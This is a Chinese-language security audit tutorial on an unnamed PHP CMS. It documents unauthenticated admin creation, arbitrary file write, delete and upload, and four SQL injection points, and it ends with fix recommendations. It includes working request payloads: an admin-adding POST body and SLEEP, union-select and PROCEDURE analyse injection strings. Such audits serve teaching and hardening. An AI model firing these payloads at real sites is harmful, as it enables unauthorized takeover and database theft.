某CMS安全审计教学文档
环境准备
- PHP版本:7.3.4
- 工具:Nodepad++、Phpstudy
漏洞分析
0x1 任意管理员添加
漏洞文件:cms\cms\admin\run_ajax.php
漏洞描述:
该文件可对任意表添加任意数据,无任何权限验证和过滤。
利用步骤:
- 查看admin表结构
- 构造payload添加管理员账号:
(mima字段为密码的MD5值,此处为"test"的MD5)GET参数:table=admin POST数据:guanliyuan=test&mima=fb469d7ef430b0baf0cab6c436e70375&dengji=1&chuangjianshijian=1
验证方法:
直接查询数据库确认账号是否添加成功
0x2 任意文件写入
漏洞文件:cms\cms\admin\run_ajax.php
漏洞描述:
未做任何鉴权,也无过滤直接写入文件
利用方法:
构造特定payload写入任意文件内容
0x3 任意文件删除
漏洞文件:cms\cms\include\up.php
漏洞描述:
通过传入要删除的路径参数,无任何限制
利用方法:
GET参数:run=del
POST数据:url=FilePath
0x4 SQL注入漏洞
第一处注入点
文件:cms/api/caiji.php
漏洞描述:
当$run等于'shenhe'时,从GET接收lanmu的值直接带入SQL执行
漏洞代码:
$tid=$_GET['lanmu'];
$up_arr=array('fabushijian',time());
$ids=$c_sql->select("select id from art where (fabushijian=1 and tid={$tid}) limit 1");
利用方法:
- 布尔盲注或延时注入
- 延时注入payload示例:
?run=shenhe&lanmu=1 AND SLEEP(5)
第二处注入点
文件:cms\common\php\ajax.php
漏洞描述:
直接接收get.id的值带入SQL执行,有回显
利用方法:
联合查询注入:
?id=-1 union select 1,2,3,user(),5,6,7,8,9
第三处注入点
文件:cms\common\php\ajax.php
漏洞描述:
同上一个点类似,但只查询一个字段
利用方法:
?id=-1 union select user()
第四处注入点
文件:cms\cms\include\make.php
漏洞描述:
注入在LIMIT之后且存在ORDER BY,利用条件受限
适用版本:
5.0.0 < MySQL < 5.6.6
利用方法:
使用PROCEDURE函数进行注入:
limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
0x5 任意文件上传
第一处上传点
文件:cms\cms\admin\ajax.php
漏洞描述:
构造文件上传包,上传文件参数任意
第二处上传点
文件:cms\cms\include\up.php
漏洞描述:
未做任何限制,路径和文件名都可控
第三处上传点
文件:cms\cms\zbzedit\php\zbz.php
漏洞描述:
直接构造上传包即可实现任意文件上传
修复建议
-
权限验证:
- 所有后台操作文件应添加严格的权限验证
- 验证管理员session或token
-
输入过滤:
- 对所有用户输入进行严格过滤
- 使用预处理语句防止SQL注入
-
文件操作安全:
- 限制文件操作目录
- 验证文件操作权限
- 对上传文件进行严格的白名单验证
-
安全编码:
- 避免直接拼接SQL语句
- 对数据库操作使用ORM或预处理语句
- 对文件路径进行规范化处理
-
日志记录:
- 记录所有敏感操作日志
- 监控异常操作行为
总结
该CMS存在多处严重安全漏洞,包括但不限于:
- 未授权添加管理员
- 任意文件写入/删除
- 多处SQL注入
- 多处任意文件上传
开发人员应全面审查代码,按照上述修复建议进行安全加固,避免被攻击者利用造成严重后果。